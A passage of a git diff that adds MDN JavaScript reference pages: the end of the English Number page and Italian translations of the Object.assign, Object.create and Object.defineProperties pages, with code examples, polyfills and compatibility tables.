+<pre class="brush: js notranslate">123    // one-hundred twenty-three
+123.0  // same
+123 === 123.0  // true</pre>
+
+<h3 id="Function_syntax">Function syntax</h3>
+
+<pre class="brush: js notranslate">Number('123')  // returns the number 123
+Number('123') === 123  // true
+
+Number("unicorn")  // NaN
+Number(undefined)  // NaN
+</pre>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/Number"><code>Number()</code></a></dt>
+ <dd>Creates a new <code>Number</code> value.</dd>
+</dl>
+
+<h2 id="Static_properties">Static properties</h2>
+
+<dl>
+ <dt>{{jsxref("Number.EPSILON")}}</dt>
+ <dd>The smallest interval between two representable numbers.</dd>
+ <dt>{{jsxref("Number.MAX_SAFE_INTEGER")}}</dt>
+ <dd>The maximum safe integer in JavaScript (<code>2<sup>53</sup> - 1</code>).</dd>
+ <dt>{{jsxref("Number.MAX_VALUE")}}</dt>
+ <dd>The largest positive representable number.</dd>
+ <dt>{{jsxref("Number.MIN_SAFE_INTEGER")}}</dt>
+ <dd>The minimum safe integer in JavaScript (<code>-(2<sup>53</sup> - 1)</code>).</dd>
+ <dt>{{jsxref("Number.MIN_VALUE")}}</dt>
+ <dd>The smallest positive representable number—that is, the positive number closest to zero (without actually being zero).</dd>
+ <dt>{{jsxref("Number.NaN")}}</dt>
+ <dd>Special "<strong>N</strong>ot <strong>a</strong> <strong>N</strong>umber" value.</dd>
+ <dt>{{jsxref("Number.NEGATIVE_INFINITY")}}</dt>
+ <dd>Special value representing negative infinity. Returned on overflow.</dd>
+ <dt>{{jsxref("Number.POSITIVE_INFINITY")}}</dt>
+ <dd>Special value representing infinity. Returned on overflow.</dd>
+ <dt>{{jsxref("Number.prototype")}}</dt>
+ <dd>Allows the addition of properties to the <code>Number</code> object.</dd>
+</dl>
+
+<h2 id="Static_methods">Static methods</h2>
+
+<dl>
+ <dt>{{jsxref("Number.isNaN()")}}</dt>
+ <dd>Determine whether the passed value is <code>NaN</code>.</dd>
+ <dt>{{jsxref("Number.isFinite()")}}</dt>
+ <dd>Determine whether the passed value is a finite number.</dd>
+ <dt>{{jsxref("Number.isInteger()")}}</dt>
+ <dd>Determine whether the passed value is an integer.</dd>
+ <dt>{{jsxref("Number.isSafeInteger()")}}</dt>
+ <dd>Determine whether the passed value is a safe integer (number between <code>-(2<sup>53</sup> - 1)</code> and <code>2<sup>53</sup> - 1</code>).</dd>
+ <dt>{{jsxref("Number.parseFloat()", "Number.parseFloat(<var>string</var>)")}}</dt>
+ <dd>This is the same as the global {{jsxref("parseFloat", "parseFloat()")}} function.</dd>
+ <dt>{{jsxref("Number.parseInt()", "Number.parseInt(<var>string</var>, [<var>radix</var>])")}}</dt>
+ <dd>This is the same as the global {{jsxref("parseInt", "parseInt()")}} function.</dd>
+</dl>
+
+<h2 id="Instance_methods">Instance methods</h2>
+
+<dl>
+ <dt>{{jsxref("Number.prototype.toExponential()" ,"Number.prototype.toExponential(<var>fractionDigits</var>)")}}</dt>
+ <dd>Returns a string representing the number in exponential notation.</dd>
+ <dt>{{jsxref("Number.prototype.toFixed()", "Number.prototype.toFixed(<var>digits</var>)")}}</dt>
+ <dd>Returns a string representing the number in fixed-point notation.</dd>
+ <dt>{{jsxref("Number.prototype.toLocaleString()", "Number.prototype.toLocaleString([<var>locales</var> [, <var>options</var>]])")}}</dt>
+ <dd>Returns a string with a language sensitive representation of this number. Overrides the {{jsxref("Object.prototype.toLocaleString()")}} method.</dd>
+ <dt>{{jsxref("Number.prototype.toPrecision()", "Number.prototype.toPrecision(<var>precision</var>)")}}</dt>
+ <dd>Returns a string representing the number to a specified precision in fixed-point or exponential notation.</dd>
+ <dt>{{jsxref("Number.prototype.toString()", "Number.prototype.toString([<var>radix</var>])")}}</dt>
+ <dd>Returns a string representing the specified object in the specified <var>radix</var> ("base"). Overrides the {{jsxref("Object.prototype.toString()")}} method.</dd>
+ <dt>{{jsxref("Number.prototype.valueOf()")}}</dt>
+ <dd>Returns the primitive value of the specified object. Overrides the {{jsxref("Object.prototype.valueOf()")}} method.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_the_Number_object_to_assign_values_to_numeric_variables">Using the Number object to assign values to numeric variables</h3>
+
+<p>The following example uses the <code>Number</code> object's properties to assign values to several numeric variables:</p>
+
+<pre class="brush: js notranslate">const biggestNum     = Number.MAX_VALUE
+const smallestNum    = Number.MIN_VALUE
+const infiniteNum    = Number.POSITIVE_INFINITY
+const negInfiniteNum = Number.NEGATIVE_INFINITY
+const notANum        = Number.NaN
+</pre>
+
+<h3 id="Integer_range_for_Number">Integer range for Number</h3>
+
+<p>The following example shows the minimum and maximum integer values that can be represented as <code>Number</code> object. (More details on this are described in the ECMAScript standard, chapter <em><a href="https://tc39.github.io/ecma262/#sec-ecmascript-language-types-number-type">6.1.6 The Number Type</a>.</em>)</p>
+
+<pre class="brush: js notranslate">const biggestInt  = Number.MAX_SAFE_INTEGER  //  (<code>2<sup>53</sup> - 1</code>) =&gt;  9007199254740991
+const smallestInt = Number.MIN_SAFE_INTEGER  // -(<code>2<sup>53</sup> - 1</code>) =&gt; -9007199254740991</pre>
+
+<p>When parsing data that has been serialized to JSON, integer values falling outside of this range can be expected to become corrupted when JSON parser coerces them to <code>Number</code> type.</p>
+
+<p>A possible workaround is to use {{jsxref("String")}} instead.</p>
+
+<p>Larger numbers can be represented using the {{jsxref("BigInt")}} type.</p>
+
+<h3 id="Using_Number_to_convert_a_Date_object">Using Number to convert a Date object</h3>
+
+<p>The following example converts the {{jsxref("Date")}} object to a numerical value using <code>Number</code> as a function:</p>
+
+<pre class="brush: js notranslate">let d = new Date('December 17, 1995 03:24:00')
+console.log(Number(d))
+</pre>
+
+<p>This logs <code>819199440000</code>.</p>
+
+<h3 id="Convert_numeric_strings_and_null_to_numbers">Convert numeric strings and null to numbers</h3>
+
+<pre class="brush: js notranslate" dir="rtl">Number('123')     // 123
+Number('123') === 123 /// true
+Number('12.3')    // 12.3
+Number('12.00')   // 12
+Number('123e-1')  // 12.3
+Number('')        // 0
+Number(null)      // 0
+Number('0x11')    // 17
+Number('0b11')    // 3
+Number('0o11')    // 9
+Number('foo')     // NaN
+Number('100a')    // NaN
+Number('-Infinity') //-Infinity</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number-objects', 'Number')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Arithmetic operators")}}</li>
+ <li>The {{jsxref("Math")}} global object</li>
+ <li>Integers with arbitrary precision: {{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/assign/index.html b/files/it/web/javascript/reference/global_objects/object/assign/index.html
new file mode 100644
index 0000000000..6280745df2
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/assign/index.html
@@ -0,0 +1,268 @@
+---
+title: Object.assign()
+slug: Web/JavaScript/Reference/Global_Objects/Object/assign
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>La funzione <strong><code>Object.assign()</code></strong> copia tutte le proprietà enumerabili da uno o più oggetti di origine in un oggetto di destinazione. Restituisce l'oggetto di destinazione.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox notranslate"><code>Object.assign(<var>target</var>, ...<var>sources</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>L'oggetto di destinazione.</dd>
+ <dt><code>sources</code></dt>
+ <dd>Gli oggetti di origine.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>La funzione <code>Object.assign()</code> copia soltanto le proprietà <em>enumerabili</em> appartenenti agli oggetti di origine (non quelle che fanno parte della loro catena dei prototipi) in un oggetto di destinazione. Utilizza <code>[[Get]]</code> sugli oggetti di origine e <code>[[Put]]</code> su quello di destinazione, quindi invoca <em>getter</em> e <em>setter</em>, quando presenti. Quindi <em>assegna</em> le proprietà, piuttosto che limitarsi a copiarle o a definirne di nuove. Ciò lo rende inadatto per aggiungere nuove proprietà in un prototipo se le proprietà vengono copiate da un oggetto contenente <em>getter</em> o <em>setter</em>. Per copiare le proprietà, incluso il fatto di essere enumerabili o no, in un prototipo, bisognerebbe usare {{jsxref("Object.defineProperty()")}}.</p>
+
+<p>Vengono copiate sia le proprietà aventi come nomi delle {{jsxref("String", "stringhe")}} che dei {{jsxref("Symbol", "simboli")}}.</p>
+
+<p>In caso di errore, per esempio se una proprietà non è sovrascrivibile, viene generato un {{jsxref("TypeError")}}, e l'oggetto di destinazione rimane invariato.</p>
+
+<p>Notare che <code>Object.assign()</code> non genera un errore se uno dei valori di origine è {{jsxref("null")}} o {{jsxref("undefined")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Clonare_un_oggetto">Clonare un oggetto</h3>
+
+<p>Si potrebbe pensare di clonare un oggetto semplicemente assegnandolo ad un altra variabile:</p>
+
+<pre class="brush: js notranslate">var obj = { a: 1 };
+var copia = obj;
+console.log(obj, copia); // { a: 1 }, { a: 1 }
+obj.a = 2;
+console.log(obj, copia); // { a: 2 }, { a: 2 }
+                         // Ma copia.a non valeva 1?</pre>
+
+<p>Utilizzando <code>Object.assign()</code> il problema non si verifica:</p>
+
+<pre class="brush: js notranslate">var obj = { a: 1 };
+var copia = Object.assign({}, obj);
+console.log(obj, copia); // { a: 1 }, { a: 1 }
+obj.a = 2;
+console.log(obj, copia); // { a: 2 }, { a: 1 }
+</pre>
+
+<h3 id="Unire_più_oggetti">Unire più oggetti</h3>
+
+<pre class="brush: js notranslate">var o1 = { a: 1 };
+var o2 = { b: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign(o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+console.log(o1);  // { a: 1, b: 2, c: 3 }, le proprietà vengono aggiunte all'oggetto di destinazione
+</pre>
+
+<h3 id="Copiare_proprietà_aventi_come_indici_dei_simboli">Copiare proprietà aventi come indici dei simboli</h3>
+
+<pre class="brush: js notranslate">var o1 = { a: 1 };
+var o2 = { [Symbol("foo")]: 2 };
+
+var obj = Object.assign({}, o1, o2);
+console.log(obj); // { a: 1, Symbol(foo): 2 }
+</pre>
+
+<h3 id="Le_proprietà_ereditate_o_non-enumerabili_non_vengono_copiate">Le proprietà ereditate o non-enumerabili non vengono copiate</h3>
+
+<pre class="brush: js notranslate">var obj = Object.create({ foo: 1 }, { // foo è una proprietà ereditata
+  bar: {
+    value: 2  // bar è una proprietà non-enumerabile
+  },
+  baz: {
+    value: 3,
+    enumerable: true  // baz è una proprietà enumerabile
+  }
+});
+
+var copia = Object.assign({}, obj);
+console.log(copia); // { baz: 3 }
+</pre>
+
+<h3 id="I_valori_primitivi_vengono_trasformati_in_oggetti">I valori primitivi vengono trasformati in oggetti</h3>
+
+<pre class="brush: js notranslate">var v1 = '123';
+var v2 = true;
+var v3 = 10;
+var v4 = Symbol("foo");
+
+var obj = Object.assign({}, v1, null, v2, undefined, v3, v4);
+// I valori primitivi vengono trasformati in oggetti, null e undefined ignorati.
+// Notare che solo le stringhe hanno proprietà enumerabili
+console.log(obj); // { "0": "1", "1": "2", "2": "3" }
+</pre>
+
+<h3 id="Se_viene_generata_un_eccezione_la_funzione_si_ferma">Se viene generata un eccezione, la funzione si ferma</h3>
+
+<pre class="brush: js notranslate">var destinazione = Object.defineProperty({}, 'foo', {
+  value: 1,
+  writeable: false
+}); // destinazione.foo non può essere modificata
+
+Object.assign(destinazione, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 });
+// TypeError: "foo" is read-only
+// L'eccezione viene generata quando si modifica destinazione.foo
+
+console.log(destinazione.bar);  // 2, Il primo oggetto viene copiato correttamente
+console.log(destinazione.foo2); // 3, La prima proprietà del secondo oggetto viene copiata correttamente
+console.log(destinazione.foo);  // 1, L'eccezione viene generata qui
+console.log(destinazione.foo3); // undefined, la funzione ha già finto di copiare
+console.log(destinazione.baz);  // undefined, la funzione ha già finto di copiare
+</pre>
+
+<h3 id="Copiare_i_getter">Copiare i getter</h3>
+
+<pre class="brush: js notranslate">var obj = {
+  foo: 1,
+  get bar() {
+    return 2;
+  }
+};
+
+var copia = Object.assign({}, obj);
+console.log(copia);
+// { foo: 1, bar: 2 }, non viene copiato il getter obj.bar, ma il suo valore
+
+// Questa funzione copia mantenendo getter e setter
+function myAssign(target, ...sources) {
+  sources.forEach(source =&gt; {
+    Object.defineProperties(target, Object.keys(source).reduce((descriptors, key) =&gt; {
+      descriptors[key] = Object.getOwnPropertyDescriptor(source, key);
+      return descriptors;
+    }, {}));
+  });
+  return target;
+}
+
+var copia = myAssign({}, obj);
+console.log(copia);
+// { foo:1, get bar() { return 2 } }
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Questo polyfill non supporta i simboli (che comunque non sono supportati da ECMAScript 5):</p>
+
+<pre class="brush: js notranslate">if (!Object.assign) {
+  Object.defineProperty(Object, 'assign', {
+    enumerable: false,
+    configurable: true,
+    writable: true,
+    value: function(target, firstSource) {
+      'use strict';
+      if (target === undefined || target === null) {
+        throw new TypeError('Cannot convert first argument to object');
+      }
+
+      var to = Object(target);
+      for (var i = 1; i &lt; arguments.length; i++) {
+        var nextSource = arguments[i];
+        if (nextSource === undefined || nextSource === null) {
+          continue;
+        }
+        nextSource = Object(nextSource);
+
+        var keysArray = Object.keys(Object(nextSource));
+        for (var nextIndex = 0, len = keysArray.length; nextIndex &lt; len; nextIndex++) {
+          var nextKey = keysArray[nextIndex];
+          var desc = Object.getOwnPropertyDescriptor(nextSource, nextKey);
+          if (desc !== undefined &amp;&amp; desc.enumerable) {
+            to[nextKey] = nextSource[nextKey];
+          }
+        }
+      }
+      return to;
+    }
+  });
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatChrome("45")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("32")}}</td>
+   <td>{{CompatSafari("9")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: open sans light,sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("45")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/create/index.html b/files/it/web/javascript/reference/global_objects/object/create/index.html
new file mode 100644
index 0000000000..d2b020b955
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/create/index.html
@@ -0,0 +1,234 @@
+---
+title: Object.create()
+slug: Web/JavaScript/Reference/Global_Objects/Object/create
+tags:
+  - Creazione
+  - Oggetto
+  - Prototipo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/create
+---
+<div>
+ {{JSRef("Global_Objects", "Object")}}</div>
+<h2 id="Summary" name="Summary">Sommario</h2>
+<p>Il metodo <code><strong>Object.create()</strong></code> crea un nuovo oggetto a partire dall'oggetto prototipo e dalle proprietà specificati.</p>
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+<pre class="syntaxbox"><code>Object.create(<var>proto</var>[, <var>propertiesObject</var>])</code></pre>
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+<dl>
+ <dt>
+  <code>proto</code></dt>
+ <dd>
+  L'oggetto che farà da prototipo per il nuovo oggetto creato.</dd>
+ <dt>
+  <code>propertiesObject</code></dt>
+ <dd>
+  Opzionale. Se specificato e non {{jsxref("Global_Objects/undefined", "undefined")}}, un oggetto le cui proprie proprietà enumerabili (ovvero, quelle proprietà definite esclusivamente su di sé e non quelle enumerabili presenti nella sua catena dei prototipi) specificano descrittori di proprietà da aggiungere all'oggetto appena creato, con i corrispondenti nomi di proprietà. Queste proprietà corrispondono al secondo argomento di {{jsxref("Object.defineProperties()")}}.</dd>
+</dl>
+<h3 id="Throws" name="Throws">Throws</h3>
+<p>Lancia un'eccezione di tipo {{jsxref("Global_Objects/TypeError", "TypeError")}} se il parametro  <code>proto</code> non è {{jsxref("Global_Objects/null", "null")}} oppure un oggetto.</p>
+<h2 id="Examples" name="Examples">Esempi</h2>
+<h3 id="Example:_Classical_inheritance_with_Object.create" name="Example:_Classical_inheritance_with_Object.create">Esempio: ereditarietà classica con <code>Object.create</code></h3>
+<p>Sotto, trovi un esempio di come implementare un'ereditarietà classica usando <code>Object.create</code>. Si tratta di un'ereditarietà singola, l'unica supportata da Javascript.</p>
+<pre class="brush: js">// Shape - superclass
+function Shape() {
+  this.x = 0;
+  this.y = 0;
+}
+
+// superclass method
+Shape.prototype.move = function(x, y) {
+  this.x += x;
+  this.y += y;
+  console.info('Shape moved.');
+};
+
+// Rectangle - subclass
+function Rectangle() {
+  Shape.call(this); // call super constructor.
+}
+
+// subclass extends superclass
+Rectangle.prototype = Object.create(Shape.prototype);
+Rectangle.prototype.constructor = Rectangle;
+
+var rect = new Rectangle();
+
+console.log("Is rect an instance of Rectangle? " + (rect instanceof Rectangle)); // true
+console.log("Is rect an instance of Shape<span style="font-size: 1rem;">? " + (rect instanceof Shape)); // true</span>
+
+rect.move(1, 1); // Outputs, 'Shape moved.'
+</pre>
+<p>Se desideri ereditare proprietà e metodi da oggetti multipli, puoi utilizzare dei mixins.</p>
+<pre class="brush: js">function MyClass() {
+  SuperClass.call(this);
+  OtherSuperClass.call(this);
+}
+
+MyClass.prototype = Object.create(SuperClass.prototype); // inherit
+mixin(MyClass.prototype, OtherSuperClass.prototype); // mixin
+
+MyClass.prototype.myMethod = function() {
+  // do a thing
+};
+</pre>
+<p>La funzione <code>mixin</code> copia le funzioni dell'oggetto prototype della superclasse nell'oggetto prototype della sottoclasse; la funzione mixin deve essere implementata dall'utente. Un esempio di funzione simil mixin potrebbe essere <a href="http://api.jquery.com/jQuery.extend/">jQuery.extend</a>.</p>
+<h3 id="Example:_Using_propertiesObject_argument_with_Object.create" name="Example:_Using_propertiesObject_argument_with_Object.create">Esempio: Usare l'argomento <code>propertiesObject</code> con <code>Object.create</code></h3>
+<pre class="brush: js">var o;
+
+// create an object with null as prototype
+o = Object.create(null);
+
+
+o = {};
+// is equivalent to:
+o = Object.create(Object.prototype);
+
+
+// Example where we create an object with a couple of sample properties.
+// (Note that the second parameter maps keys to *property descriptors*.)
+o = Object.create(Object.prototype, {
+  // foo is a regular 'value property'
+  foo: { writable: true, configurable: true, value: 'hello' },
+  // bar is a getter-and-setter (accessor) property
+  bar: {
+    configurable: false,
+    get: function() { return 10; },
+    set: function(value) { console.log('Setting `o.bar` to', value); }
+  }
+});
+
+
+function Constructor() {}
+o = new Constructor();
+// is equivalent to:
+o = Object.create(Constructor.prototype);
+// Of course, if there is actual initialization code in the
+// Constructor function, the Object.create cannot reflect it
+
+
+// create a new object whose prototype is a new, empty object
+// and a adding single property 'p', with value 42
+o = Object.create({}, { p: { value: 42 } });
+
+// by default properties ARE NOT writable, enumerable or configurable:
+o.p = 24;
+o.p;
+// 42
+
+o.q = 12;
+for (var prop in o) {
+  console.log(prop);
+}
+// 'q'
+
+delete o.p;
+// false
+
+// to specify an ES3 property
+o2 = Object.create({}, {
+  p: {
+    value: 42,
+    writable: true,
+    enumerable: true,
+    configurable: true
+  }
+});
+</pre>
+<h2 id="Polyfill" name="Polyfill">Polyfill</h2>
+<p>Questo polyfill implementa il caso di utilizzo principale, ovvero creare un nuovo oggetto specificando un oggetto prototipo, ma non prende in considerazione il secondo argomento dell'API orginale.</p>
+<pre class="brush: js">if (typeof Object.create != 'function') {
+  Object.create = (function() {
+    var Object = function() {};
+    return function (prototype) {
+      if (arguments.length &gt; 1) {
+        throw Error('Second argument not supported');
+      }
+      if (typeof prototype != 'object') {
+        throw TypeError('Argument must be an object');
+      }
+      Object.prototype = prototype;
+      var result = new Object();
+      Object.prototype = null;
+      return result;
+    };
+  })();
+}
+</pre>
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.5', 'Object.create')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.create', 'Object.create')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilità browser</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Caratteristica</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Supporto base</td>
+    <td>{{CompatChrome("5")}}</td>
+    <td>{{CompatGeckoDesktop("2")}}</td>
+    <td>{{CompatIE("9")}}</td>
+    <td>{{CompatOpera("11.60")}}</td>
+    <td>{{CompatSafari("5")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Caratteristica</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Supporto base</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("2")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatOperaMobile("11.50")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p>Basato sulla <a href="http://kangax.github.com/es5-compat-table/">tabella di compatibilità di Kangax</a>.</p>
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+<ul>
+ <li>{{jsxref("Object.defineProperty")}}</li>
+ <li>{{jsxref("Object.defineProperties")}}</li>
+ <li>{{jsxref("Object.prototype.isPrototypeOf")}}</li>
+ <li>Il post di John Resig su <a href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/defineproperties/index.html b/files/it/web/javascript/reference/global_objects/object/defineproperties/index.html
new file mode 100644
index 0000000000..c905420eb2
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/defineproperties/index.html
@@ -0,0 +1,224 @@
+---
+title: Object.defineProperties()
+slug: Web/JavaScript/Reference/Global_Objects/Object/defineProperties
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperties
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <strong>Object.defineProperties()</strong> definisce nuove proprietà o modifica le proprietà esistenti, direttamente sull'oggetto di ritorno.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Object.defineProperties(<var>obj</var>, <var>props</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'oggetto su cui definire le nuove proprietà o modificare le esistenti proprietà.</dd>
+ <dt><code>props</code></dt>
+ <dd>Un oggetto che contiene le proprietà enumerabili. Per ogni proprietà troviamo dei descrittori della proprietà stessa, che ne impostano il comportamento. Suddividiamo i descrittori in due tipologie: il data descriptors e i descrittorei che ne regolano gli accessi (guarda {{jsxref("Object.defineProperty()")}} per maggiori dettagli). I descrittori hanno le seguenti c:</dd>
+ <dd>
+ <dl>
+  <dt><code>configurable</code></dt>
+  <dd><code>true</code> se e solo se la proprietà individuata dal descrittore può essere cambiata e se la proprietà può essere cancellata dal presente oggetto.<br>
+  <strong>Defaults a <code>false</code>.</strong></dd>
+  <dt><code>enumerable</code></dt>
+  <dd><code>true</code> se e solo se la proprietà è visualizzabile durante una enumerazione delle proprietà del presente oggetto (es. for-in)<br>
+  <strong>Defaults a <code>false</code>.</strong></dd>
+ </dl>
+
+ <dl>
+  <dt><code>value</code></dt>
+  <dd>Il valore associato con la proprietà che si sta definendo. Può essere un qualsiasi valore valido di Javascript (number, object, function, ecc...)<br>
+  <strong>Defaults a {{jsxref("undefined")}}.</strong></dd>
+  <dt><code>writable</code></dt>
+  <dd><code>true</code> se e solo se il valore associato per la proprietà può essere cambiato con un {{jsxref("Operators/Assignment_Operators", "operatore di assegnazione", "", 1)}}.<br>
+  <strong>Defaults to <code>false</code>.</strong></dd>
+ </dl>
+
+ <dl>
+  <dt><code>get</code></dt>
+  <dd>Una funzione che serve da getter (prelevare il dato) per la proprietà, o {{jsxref("undefined")}} se non è presente un getter. Il valore di ritorno della funzione verrà usato come valore della proprietà<br>
+  <strong>Defaults a {{jsxref("undefined")}}.</strong></dd>
+  <dt><code>set</code></dt>
+  <dd>Una funzione che serve da setter (impostare il dato) per la proprietà {{jsxref("undefined")}} se non è presente il setter. La funzione riceverà un solo argomento che verrà assegnato come valore della proprietà.<br>
+  <strong>Defaults a {{jsxref("undefined")}}.</strong></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>L'oggetto che è stato passato alla funzione.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code>Object.defineProperties</code>, in sostanza, definisce tutte le proprietà di un oggetto, corrispondenti alle proprietà "own" proprie di un oggetto obj.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js">var obj = {};
+Object.defineProperties(obj, {
+  'property1': {
+    value: true,
+    writable: true
+  },
+  'property2': {
+    value: 'Hello',
+    writable: false
+  }
+  // etc. etc.
+});
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Assumendo di eseguire un ambiente precedente con tutti i nomi e le proprietà che fanno riferimento ai valori iniziali, <code>Object.defineProperties</code> è quasi completamente equivalente (nota il commento in <code>isCallable</code>) al seguente reimplementazione in Javascript:</p>
+
+<pre class="brush: js;highlight:[8]">function defineProperties(obj, properties) {
+  function convertToDescriptor(desc) {
+    function hasProperty(obj, prop) {
+      return Object.prototype.hasOwnProperty.call(obj, prop);
+    }
+
+    function isCallable(v) {
+      // NB: modify as necessary if other values than functions are callable.
+      return typeof v === 'function';
+    }
+
+    if (typeof desc !== 'object' || desc === null)
+      throw new TypeError('bad desc');
+
+    var d = {};
+
+    if (hasProperty(desc, 'enumerable'))
+      d.enumerable = !!desc.enumerable;
+    if (hasProperty(desc, 'configurable'))
+      d.configurable = !!desc.configurable;
+    if (hasProperty(desc, 'value'))
+      d.value = desc.value;
+    if (hasProperty(desc, 'writable'))
+      d.writable = !!desc.writable;
+    if (hasProperty(desc, 'get')) {
+      var g = desc.get;
+
+      if (!isCallable(g) &amp;&amp; typeof g !== 'undefined')
+        throw new TypeError('bad get');
+      d.get = g;
+    }
+    if (hasProperty(desc, 'set')) {
+      var s = desc.set;
+      if (!isCallable(s) &amp;&amp; typeof s !== 'undefined')
+        throw new TypeError('bad set');
+      d.set = s;
+    }
+
+    if (('get' in d || 'set' in d) &amp;&amp; ('value' in d || 'writable' in d))
